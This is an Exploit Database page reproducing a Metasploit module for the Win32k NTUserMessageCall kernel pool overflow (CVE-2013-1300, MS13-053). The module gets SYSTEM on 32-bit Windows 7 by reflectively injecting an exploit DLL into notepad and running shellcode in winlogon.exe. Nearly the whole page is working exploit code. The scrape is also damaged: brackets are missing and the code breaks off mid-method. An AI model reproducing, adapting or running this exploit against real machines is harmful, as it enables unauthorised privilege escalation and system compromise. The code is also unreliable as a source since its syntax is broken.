Microsoft Windows – NTUserMessageCall Win32k Kernel Pool Overflow ‘schlamperei.x86.dll’ (MS13-053) (Metasploit)

Exploit Database
131 阅读

作者： Metasploit

日期： 2014-05-06
类别：
- local
平台：
- windows_x86
来源：https://www.exploit-db.com/exploits/33213/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

require 'msf/core/post/windows/reflective_dll_injection'

require 'rex'

class Metasploit3 < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::File

include Msf::Post::Windows::Priv

include Msf::Post::Windows::Process

include Msf::Post::Windows::FileInfo

include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})

super(update_info(info, {

'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)',

'Description'=> %q{

A kernel pool overflow in Win32k which allows local privilege escalation.

The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).

This allows any unprivileged process to freely migrate to winlogon.exe, achieving

privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox.

NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.

'License'=> MSF_LICENSE,

'Author' =>

[

'Nils', #Original Exploit

'Jon', #Original Exploit

'Donato Capitella <donato.capitella[at]mwrinfosecurity.com>', # Metasploit Conversion

'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ;)

'Arch' => ARCH_X86,

'Platform' => 'win',

'SessionTypes' => [ 'meterpreter' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Targets'=>

[

[ 'Windows 7 SP0/SP1', { } ]

'Payload'=>

{

'Space' => 4096,

'DisableNops' => true

'References' =>

[

[ 'CVE', '2013-1300' ],

[ 'MSB', 'MS13-053' ],

[ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ]

'DisclosureDate' => 'Dec 01 2013',

'DefaultTarget'=> 0

}))

end

def check

os = sysinfo["OS"]

unless (os =~ /windows/i)

return Exploit::CheckCode::Unknown

end

file_path = expand_path("%windir%") << "\\system32\\win32k.sys"

major, minor, build, revision, branch = file_version(file_path)

vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

case build

when 7600

return Exploit::CheckCode::Vulnerable

when 7601

if branch == 18

return Exploit::CheckCode::Vulnerable if revision < 18176

else

return Exploit::CheckCode::Vulnerable if revision < 22348

end

return Exploit::CheckCode::Unknown

end

def exploit

if is_system?

fail_with(Exploit::Failure::None, 'Session is already elevated')

end

if sysinfo["Architecture"] =~ /wow64/i

fail_with(Failure::NoTarget, "Running against WOW64 is not supported")

elsif sysinfo["Architecture"] =~ /x64/

fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")

end

unless check == Exploit::CheckCode::Vulnerable

fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")

end

print_status("Launching notepad to host the exploit...")

notepad_process_pid = cmd_exec_get_pid("notepad.exe")

begin

process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)

print_good("Process #{process.pid} launched.")

rescue Rex::Post::Meterpreter::RequestError

print_status("Operation failed. Hosting exploit in the current process...")

process = client.sys.process.open

end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")

library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")

library_path = ::File.expand_path(library_path)

print_status("Injecting exploit into #{process.pid}...")

exploit_mem, offset = inject_dll_into_process(process, library_path)

thread = process.thread.create(exploit_mem + offset)

client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)

client.sys.process.each_process do |p|

if p['name'] == "winlogon.exe"

winlogon_pid = p['pid']

print_status("Found winlogon.exe with PID #{winlogon_pid}")

if execute_shellcode(payload.encoded, nil, winlogon_pid)

print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")

else

print_error("Failed to start payload thread")

end

break

end